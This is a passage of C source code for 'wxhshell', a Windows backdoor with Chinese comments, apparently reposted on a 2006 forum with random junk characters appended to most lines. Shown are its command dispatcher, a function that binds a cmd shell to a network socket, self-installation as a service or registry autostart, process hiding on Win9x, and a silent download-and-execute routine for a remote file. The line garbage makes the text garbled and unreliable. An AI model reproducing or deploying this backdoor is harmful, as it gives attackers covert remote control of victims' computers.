  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ojWf]$^y}  
  } 8r.MODZG/  
  else { w@N)Pu  
F0'o!A#|(  
    switch(cmd[0]) { sGMnm  
  [di&N!Ao  
  // 帮助 ]w8h#p  
  case '?': { ^3&-!<*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0"@p|nAa  
    break; ' #r^W2  
  } a- /p/ I-%  
  // 安装 G)5Uiu:^X  
  case 'i': { /X\:3P  
    if(Install()) H,fVF837  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/9YR(H3H  
    else j1@PfKh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ% WD@=  
    break; 'xOH~RlE  
    } :)Nk  
  // 卸载 v@!r$jZ  
  case 'r': { 6 1K:SXj  
    if(Uninstall()) kdm@1x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7sJGB^vM  
    else #4sSt-s&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^[ >  
    break; >F!X'#Iv  
    } ~;uW) [  
  // 显示 wxhshell 所在路径 0c#|LF_  
  case 'p': { X`}4=>  
    char svExeFile[MAX_PATH]; ,S3uY6,  
    strcpy(svExeFile,"\n\r"); f2$<4H hmm  
      strcat(svExeFile,ExeFile); j62oA$z  
        send(wsh,svExeFile,strlen(svExeFile),0); ~qW"v^<  
    break; <daBP[  
    } sr.!EQ]  
  // 重启 ^6^A/]v  
  case 'b': { B{_-k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %t-}dC&  
    if(Boot(REBOOT)) H`U>ZJ.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6FI`0j=~  
    else { /%^^hr  
    closesocket(wsh); 3D rW[\  
    ExitThread(0);  O6!:Qd  
    } EO.}{1m=hx  
    break; 1b"3]?  
    } }l@7t&T|  
  // 关机 3n TpL#  
  case 'd': { =hKu85  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +?[iB"F  
    if(Boot(SHUTDOWN)) 5NYYrA8,^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); htqC~B{1E  
    else { `>$l2,  
    closesocket(wsh); I* JSb9r  
    ExitThread(0); yi1V\8DC  
    } ML_[Z_Q<z  
    break; U[l{cRT   
    } 7vsXfIP+  
  // 获取shell (@u"   
  case 's': { v%2Jm!i+  
    CmdShell(wsh); a`QKN rA2  
    closesocket(wsh); m[*y9A1  
    ExitThread(0); UXV>#U?  
    break; cX-) ]D  
  } g(zoN0~  
  // 退出 WO6;K]  
  case 'x': { T_?,?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;!N_8{ 7r  
    CloseIt(wsh); q"^T}d d,  
    break; V}"w8i+D?  
    }  *}`D2_uP  
  // 离开 vJ!<7 l&  
  case 'q': { *Ry "`"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5},kXXN{+  
    closesocket(wsh); \wo'XF3:  
    WSACleanup(); ID v|i.q3  
    exit(1); W(UrG]J*l  
    break; #_OrS/H  
        } %L;'C v  
  } <q#/z&F!  
  } ?f[U8S}  
O0#9D'{  
  // 提示信息 ~ f>km|Q{u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FiJU *  
} (&Z`P  
  } 0(dXU\Y  
5l(Q#pSX  
  return; n*fsdo~  
} ,;wc$-Z!8  
f)K1j{TZ  
// shell模块句柄 q'awV5y  
int CmdShell(SOCKET sock) E#cZM>  
{ .9;wJ9Bw[  
STARTUPINFO si; .EQ1r7 9,  
ZeroMemory(&si,sizeof(si)); k%?A=h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !;^TW$ G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %]i("21  
PROCESS_INFORMATION ProcessInfo; UKxeN[fv  
char cmdline[]="cmd"; >T~d uwS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b:}+l;e5 2  
  return 0; \a\ApD  
} c 7uryL  
A `n:q;my  
// 自身启动模式 kUG3_ *1 .  
int StartFromService(void) (t)a u  
{ K2R[u#Q  
typedef struct i^'Uod0d.  
{ j8Csnm0  
  DWORD ExitStatus; ${%*O}$  
  DWORD PebBaseAddress; ~'l.g^p bv  
  DWORD AffinityMask; y7CrH=^jc  
  DWORD BasePriority; }PDNW  
  ULONG UniqueProcessId; & ]/Z~Vt  
  ULONG InheritedFromUniqueProcessId; oUwu:&<Orm  
}   PROCESS_BASIC_INFORMATION; 0Bpix|mq  
6+[7UH~pm^  
PROCNTQSIP NtQueryInformationProcess; f}>S"fFI  
;MR(Eaep  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~?)ST?&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mT2Fn8yC1  
jFBnP,WQ  
  HANDLE             hProcess; %A<|@OSdOa  
  PROCESS_BASIC_INFORMATION pbi; " Q~-C|x  
qrmJJSJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wN ![SM/+  
  if(NULL == hInst ) return 0; =,=tSp  
y$e'-v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h[O!kwE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oLXQ#{([  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vi~F Q  
Y "& c .  
  if (!NtQueryInformationProcess) return 0; "sf]I[a  
`)W}4itm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Mz N7  
  if(!hProcess) return 0; w<]Wg^dyQ  
jpCQ2XD:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .Lk2S "+  
@9pk-BB^D  
  CloseHandle(hProcess); zF[>K4  
zV }-_u.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W%=b|6E  
if(hProcess==NULL) return 0; T?+xx^wYk  
`8 Dgk}  
HMODULE hMod; y^oSVj  
char procName[255]; |h,aV(Q  
unsigned long cbNeeded; 04wmN  
t3 q0|S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ci^+T *  
;?9u#FRtw  
  CloseHandle(hProcess); |'2E'?\/x  
hfGA7P"  
if(strstr(procName,"services")) return 1; // 以服务启动 <,Zk9 t&  
v?\bvg\E  
  return 0; // 注册表启动 @Ooh}V#J  
} %@{);5[  
DaW_-:@s  
// 主模块 UUx0#D/U0C  
int StartWxhshell(LPSTR lpCmdLine) ,z?Re)q m  
{ 'lU9*e9  
  SOCKET wsl; @,-xaZ[  
BOOL val=TRUE; $e! i4pM  
  int port=0; l\yFx  
  struct sockaddr_in door; $siiG|)C1  
B=/*8,u  
  if(wscfg.ws_autoins) Install(); he/UvMu  
.s_wP  
port=atoi(lpCmdLine); (l.`g@(L  
wK[xLf  
if(port<=0) port=wscfg.ws_port;  [;D4,@A  
H5Rn.n(|  
  WSADATA data; i>S /W!F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tF)aNtX4^  
}Jgz#d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xcz1(R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mp ~E $f  
  door.sin_family = AF_INET; 1@H3!V4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MdWT[  
  door.sin_port = htons(port); 0j1I  
(d[)U<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^z$-NSlI  
closesocket(wsl); LmLV2f  
return 1; @>J4K#"  
} AO9F.A<T5  
X.,1SYG[  
  if(listen(wsl,2) == INVALID_SOCKET) { *N$#cz  
closesocket(wsl); tLpDIA_8  
return 1; HzM^Zn57%  
} e jwFQ'wTx  
  Wxhshell(wsl); d;ElqRC&  
  WSACleanup(); H;<hmbN?d  
PCs+` WP!M  
return 0; [KR`%fD0  
#nc{MR#R  
} +gTnq")wnI  
-O_5OT4  
// 以NT服务方式启动 x~}RL-Y2o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q^8C*ekfg!  
{ er}/~@JJ  
DWORD   status = 0; 1dOVH7  
  DWORD   specificError = 0xfffffff; 4ow)vS(  
"qb3\0O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xv9Z~JwH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xb42R1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; abtAkf  
  serviceStatus.dwWin32ExitCode     = 0; @R?S-*o  
  serviceStatus.dwServiceSpecificExitCode = 0; OFCOMM  
  serviceStatus.dwCheckPoint       = 0; `,&h!h((  
  serviceStatus.dwWaitHint       = 0; gydPy*  
L&lNpMT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i7}) VDsZ  
  if (hServiceStatusHandle==0) return; u(SdjLf:  
)[6H!y5  
status = GetLastError(); jj#K[@u  
  if (status!=NO_ERROR) v\t$. _at  
{ B5!$5 Qc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bzmT.!  
    serviceStatus.dwCheckPoint       = 0; Fy<dk}@  
    serviceStatus.dwWaitHint       = 0; k oC2bX  
    serviceStatus.dwWin32ExitCode     = status; ~xu<xy@E  
    serviceStatus.dwServiceSpecificExitCode = specificError; [[?:,6I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RNiZ2:  
    return; b IcLMG s  
  } u|=_!$8  
`Y/DttjL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )oa6;=go  
  serviceStatus.dwCheckPoint       = 0; &&|*GAjJ  
  serviceStatus.dwWaitHint       = 0; ow ~(k5k:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ EHr?b2  
} Y ,B0=}  
?K{CjwE.M  
// 处理NT服务事件,比如:启动、停止 ycRy! 0l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dV8mI,h  
{ qr(SAIX"  
switch(fdwControl) <O>r e3s  
{ 9>qR6k ?  
case SERVICE_CONTROL_STOP: wa W2$9O  
  serviceStatus.dwWin32ExitCode = 0; [a 5L WW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NZ'S~Lr   
  serviceStatus.dwCheckPoint   = 0; ~j mHzF kQ  
  serviceStatus.dwWaitHint     = 0; ld4QhZia  
  { I1 j-Q8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R\MM2_I  
  } N/Z3 EF_  
  return; A--Hg-N|  
case SERVICE_CONTROL_PAUSE: YQiTx)_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VLc=!W}  
  break; mTW0_!.  
case SERVICE_CONTROL_CONTINUE: |~W!Y\l-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YrjF1hJ  
  break; -d6| D?}S  
case SERVICE_CONTROL_INTERROGATE: H |Z9]+h)7  
  break; t*82^KDU  
}; #5N#^#r"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MV H^["AeR  
} d5%A64?  
"MKgU[t  
// 标准应用程序主函数 3.?PdK&C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ej ip%m  
{ 4\Y2{Z>P?  
b|wCR%  
// 获取操作系统版本 "Nn/vid;  
OsIsNt=GetOsVer(); NHUx-IqOX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G{i}z^n  
\q(RqD  
  // 从命令行安装 'd^U!l  
  if(strpbrk(lpCmdLine,"iI")) Install(); X26gl 'U  
%w,  
  // 下载执行文件 %7Z _Hw  
if(wscfg.ws_downexe) { y|nMCkuX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $985q@pV0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Oc' .E9  
} pcv(P  
x,STt{I=  
if(!OsIsNt) { *]p]mzc  
// 如果时win9x,隐藏进程并且设置为注册表启动 C 6ZM#}I$l  
HideProc(); T#Qn\ 8  
StartWxhshell(lpCmdLine); { o=4(RC  
} I`}-*% ki(  
else $xyG0Q.  
  if(StartFromService()) lKrD.iYt8  
  // 以服务方式启动 OOGqtA;  
  StartServiceCtrlDispatcher(DispatchTable); s9PD[u/y  
else amK?LDf]  
  // 普通方式启动 (01M0b#  
  StartWxhshell(lpCmdLine); ~C{d2i  
~#&bDot  
return 0; +g<2t,  
}
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只看该作者 1 发表于: 2006-10-10
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